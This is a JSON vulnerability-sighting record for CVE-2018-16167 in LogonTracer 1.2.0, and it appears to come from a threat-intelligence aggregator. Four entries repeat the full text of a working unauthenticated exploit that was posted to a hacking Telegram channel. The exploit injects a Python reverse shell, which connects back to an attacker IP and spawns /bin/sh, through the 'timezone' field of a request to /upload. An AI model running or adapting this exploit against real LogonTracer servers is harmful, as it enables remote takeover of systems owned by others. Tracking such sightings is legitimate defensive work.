{"vulnerability": "CVE-2018-16167", "sightings": [{"uuid": "111dd55a-d363-4171-95db-5c3b2c2146a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16167", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/577", "content": "CVE-2018-16167 LogonTracer 1.2.0 \u9060\u7a0b\u4ee3\u78bc\u57f7\u884c\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2018-16167_LogonTracer_1.2.0_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-06-02T01:10:53.000000Z"}, {"uuid": "330304c9-8b1b-411e-95c7-f354ae2d59fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2018-16167", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/multiple-vulnerabilities-in-internet-facing-systems-targeting-hong-kong-s-education-sector_20260724", "content": "", "creation_timestamp": "2026-07-24T12:45:17.888246Z"}, {"uuid": "de245a85-a6ec-465b-8154-d2d08ec06c40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16167", "type": "seen", "source": "https://t.me/hacking_Attack/10995", "content": "Exploit Collector\nLogonTracer 1.2.0 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png \nLogonTracer version 1.2.0 unauthenticated remote code execution exploit.\n\nMD5 | 08cb3834b77a44167523103fba1974df\n\nDownload\n# Exploit Title: LogonTracer 1.2.0 - Remote Code Execution (Unauthenticated)\n# Date: 29/05/2021\n# Exploit Author: g0ldm45k\n# Vendor Homepage: https://www.jpcert.or.jp/\n# Software Link: https://github.com/JPCERTCC/LogonTracer/releases/tag/v1.2.0\n# Version: 1.2.0 and earlier\n# Tested on: Version 1.2.0 on Debian GNU/Linux 8 (jessie)\n# CVE : CVE-2018-16167\n\nimport requests\nimport argparse\n\nparser = argparse.ArgumentParser(description='Send a payload to a LogonTracer 1.2.0 (or earlier) server.')\nparser.add_argument('aip', type=str, help='Attacker ip')\nparser.add_argument('aport', type=str, help='Attacker port')\nparser.add_argument('victimurl', type=str, help='Victim URL minus the path.')\n\nargs = parser.parse_args()\n\nATTACKER_IP = args.aip\nATTACKER_PORT = args.aport\nPAYLOAD = f\"python -c 'import pty,socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"{ATTACKER_IP}\\\",{ATTACKER_PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\\"/bin/sh\\\")'\"\n\nVICTIM_URL = args.victimurl\nVICTIM_ENDPOINT = \"/upload\"\n\nDATA = {\n\"logtype\": \"XML\",\n\"timezone\": f\"1;{PAYLOAD};\",\n}\n\nprint(\"[!] Sending request... If your terminal hangs, you might have a shell!\")\nrequests.post(f\"{VICTIM_URL}{VICTIM_ENDPOINT}\", data=DATA)\nprint(\"[*] Done. Did you get what you wanted?\")\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:40.244905Z"}, {"uuid": "42b74ef4-b5da-4ae7-a813-eb5eb571a517", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16167", "type": "seen", "source": "https://t.me/hacking_Attack/10995", "content": "Exploit Collector\nLogonTracer 1.2.0 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png \nLogonTracer version 1.2.0 unauthenticated remote code execution exploit.\n\nMD5 | 08cb3834b77a44167523103fba1974df\n\nDownload\n# Exploit Title: LogonTracer 1.2.0 - Remote Code Execution (Unauthenticated)\n# Date: 29/05/2021\n# Exploit Author: g0ldm45k\n# Vendor Homepage: https://www.jpcert.or.jp/\n# Software Link: https://github.com/JPCERTCC/LogonTracer/releases/tag/v1.2.0\n# Version: 1.2.0 and earlier\n# Tested on: Version 1.2.0 on Debian GNU/Linux 8 (jessie)\n# CVE : CVE-2018-16167\n\nimport requests\nimport argparse\n\nparser = argparse.ArgumentParser(description='Send a payload to a LogonTracer 1.2.0 (or earlier) server.')\nparser.add_argument('aip', type=str, help='Attacker ip')\nparser.add_argument('aport', type=str, help='Attacker port')\nparser.add_argument('victimurl', type=str, help='Victim URL minus the path.')\n\nargs = parser.parse_args()\n\nATTACKER_IP = args.aip\nATTACKER_PORT = args.aport\nPAYLOAD = f\"python -c 'import pty,socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"{ATTACKER_IP}\\\",{ATTACKER_PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\\"/bin/sh\\\")'\"\n\nVICTIM_URL = args.victimurl\nVICTIM_ENDPOINT = \"/upload\"\n\nDATA = {\n\"logtype\": \"XML\",\n\"timezone\": f\"1;{PAYLOAD};\",\n}\n\nprint(\"[!] Sending request... If your terminal hangs, you might have a shell!\")\nrequests.post(f\"{VICTIM_URL}{VICTIM_ENDPOINT}\", data=DATA)\nprint(\"[*] Done. Did you get what you wanted?\")\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:16.921777Z"}, {"uuid": "925eca49-dff6-434b-9e1e-63ddd082aa31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16167", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/10995", "content": "Exploit Collector\nLogonTracer 1.2.0 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png \nLogonTracer version 1.2.0 unauthenticated remote code execution exploit.\n\nMD5 | 08cb3834b77a44167523103fba1974df\n\nDownload\n# Exploit Title: LogonTracer 1.2.0 - Remote Code Execution (Unauthenticated)\n# Date: 29/05/2021\n# Exploit Author: g0ldm45k\n# Vendor Homepage: https://www.jpcert.or.jp/\n# Software Link: https://github.com/JPCERTCC/LogonTracer/releases/tag/v1.2.0\n# Version: 1.2.0 and earlier\n# Tested on: Version 1.2.0 on Debian GNU/Linux 8 (jessie)\n# CVE : CVE-2018-16167\n\nimport requests\nimport argparse\n\nparser = argparse.ArgumentParser(description='Send a payload to a LogonTracer 1.2.0 (or earlier) server.')\nparser.add_argument('aip', type=str, help='Attacker ip')\nparser.add_argument('aport', type=str, help='Attacker port')\nparser.add_argument('victimurl', type=str, help='Victim URL minus the path.')\n\nargs = parser.parse_args()\n\nATTACKER_IP = args.aip\nATTACKER_PORT = args.aport\nPAYLOAD = f\"python -c 'import pty,socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"{ATTACKER_IP}\\\",{ATTACKER_PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\\"/bin/sh\\\")'\"\n\nVICTIM_URL = args.victimurl\nVICTIM_ENDPOINT = \"/upload\"\n\nDATA = {\n\"logtype\": \"XML\",\n\"timezone\": f\"1;{PAYLOAD};\",\n}\n\nprint(\"[!] Sending request... If your terminal hangs, you might have a shell!\")\nrequests.post(f\"{VICTIM_URL}{VICTIM_ENDPOINT}\", data=DATA)\nprint(\"[*] Done. Did you get what you wanted?\")\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T05:00:03.845449Z"}, {"uuid": "1f09f57c-1acc-4444-8af4-bbc33aa299ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16167", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/10995", "content": "Exploit Collector\nLogonTracer 1.2.0 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png \nLogonTracer version 1.2.0 unauthenticated remote code execution exploit.\n\nMD5 | 08cb3834b77a44167523103fba1974df\n\nDownload\n# Exploit Title: LogonTracer 1.2.0 - Remote Code Execution (Unauthenticated)\n# Date: 29/05/2021\n# Exploit Author: g0ldm45k\n# Vendor Homepage: https://www.jpcert.or.jp/\n# Software Link: https://github.com/JPCERTCC/LogonTracer/releases/tag/v1.2.0\n# Version: 1.2.0 and earlier\n# Tested on: Version 1.2.0 on Debian GNU/Linux 8 (jessie)\n# CVE : CVE-2018-16167\n\nimport requests\nimport argparse\n\nparser = argparse.ArgumentParser(description='Send a payload to a LogonTracer 1.2.0 (or earlier) server.')\nparser.add_argument('aip', type=str, help='Attacker ip')\nparser.add_argument('aport', type=str, help='Attacker port')\nparser.add_argument('victimurl', type=str, help='Victim URL minus the path.')\n\nargs = parser.parse_args()\n\nATTACKER_IP = args.aip\nATTACKER_PORT = args.aport\nPAYLOAD = f\"python -c 'import pty,socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"{ATTACKER_IP}\\\",{ATTACKER_PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\\"/bin/sh\\\")'\"\n\nVICTIM_URL = args.victimurl\nVICTIM_ENDPOINT = \"/upload\"\n\nDATA = {\n\"logtype\": \"XML\",\n\"timezone\": f\"1;{PAYLOAD};\",\n}\n\nprint(\"[!] Sending request... If your terminal hangs, you might have a shell!\")\nrequests.post(f\"{VICTIM_URL}{VICTIM_ENDPOINT}\", data=DATA)\nprint(\"[*] Done. Did you get what you wanted?\")\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-09T00:00:41.140159Z"}, {"uuid": "445111f1-2eb6-4611-ba5f-ae8b01248aa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16167", "type": "seen", "source": "Telegram/3MMbFueKHg37BFgH_ywUM_4BJMQza_SIx_NKgZuYC9XTFpk", "content": "", "creation_timestamp": "2026-09-14T03:00:12.887843Z"}, {"uuid": "81d8a4af-1329-4603-96dc-a2b28cb421ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-16167", "type": "published-proof-of-concept", "source": "Telegram/3MMbFueKHg37BFgH_ywUM_4BJMQza_SIx_NKgZuYC9XTFpk", "content": "", "creation_timestamp": "2026-09-15T00:00:23.268698Z"}]}